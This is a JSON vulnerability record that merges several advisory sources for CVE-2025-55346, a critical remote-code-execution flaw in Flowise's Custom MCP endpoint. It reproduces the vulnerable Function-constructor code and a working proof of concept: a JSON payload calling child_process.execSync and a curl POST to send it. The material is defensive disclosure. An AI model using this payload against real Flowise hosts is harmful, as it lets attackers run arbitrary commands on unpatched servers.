{"id":"CVE-2025-55346","aliases":["EUVD-2025-24803","GHSA-hmgh-466j-fx4c","GHSA-q4xx-mc3q-23x8"],"status":"published","title":"Unintended dynamic code execution leads to remote code execution by network attackers","description":"User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.23793,"percentile":0.97838,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-627","CWE-94","CWE-95"],"published":"2025-08-14T09:49:52Z","modified":"2026-06-17T09:41:42Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.2.7-patch.1"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.2.7-patch.1"}]}]}],"references":[{"url":"https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/","tags":["third-party-advisory","exploit"]},{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55346","tags":["advisory"]},{"url":"https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hmgh-466j-fx4c"},{"url":"https://github.com/advisories/GHSA-q4xx-mc3q-23x8"},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-55346","title":"Unintended dynamic code execution leads to remote code execution by network attackers","description":"User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","status":"published","published":"2025-08-14T09:49:52.293Z","modified":"2025-08-14T15:44:20.06Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:32:52.839698Z"}],"euvd":[{"id":"EUVD-2025-24803","description":"User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","status":"published","published":"2025-08-14T09:49:52Z","modified":"2025-08-14T15:44:20Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:31:57.953552Z"}],"ghsa":[{"id":"GHSA-hmgh-466j-fx4c","title":"Flowise vulnerable to RCE via Dynamic function constructor injection","description":"### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error('MCP Server Config is required')\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === 'object') {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === 'string') {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, 'stdio')\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function('return ' + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error('Error converting to JSON:', error)\n        return ''\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.","status":"published","published":"2025-10-06T14:08:45Z","modified":"2025-10-06T14:08:46Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-95","CWE-627"],"updated_at":"2026-11-02T14:38:59.83883Z"},{"id":"GHSA-q4xx-mc3q-23x8","title":"Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.\n\n### Original Description\nUser-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","status":"withdrawn","published":"2025-08-14T12:30:22Z","modified":"2025-10-03T21:51:50Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:38:59.83883Z"}],"nvd":[{"id":"CVE-2025-55346","description":"User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","status":"published","published":"2025-08-14T10:15:26.553Z","modified":"2026-06-17T09:41:42.307Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:11:23.594522Z"}],"osv":[{"id":"GHSA-hmgh-466j-fx4c","title":"Flowise vulnerable to RCE via Dynamic function constructor injection","description":"### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error('MCP Server Config is required')\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === 'object') {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === 'string') {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, 'stdio')\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function('return ' + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error('Error converting to JSON:', error)\n        return ''\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.","status":"published","published":"2025-10-06T14:08:45Z","modified":"2025-10-06T14:57:19.584637Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-627","CWE-95"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"GHSA-q4xx-mc3q-23x8","title":"Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.\n\n### Original Description\nUser-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.","status":"withdrawn","published":"2025-08-14T12:30:22Z","modified":"2025-10-03T21:50:37Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:54.055966Z"}]}}
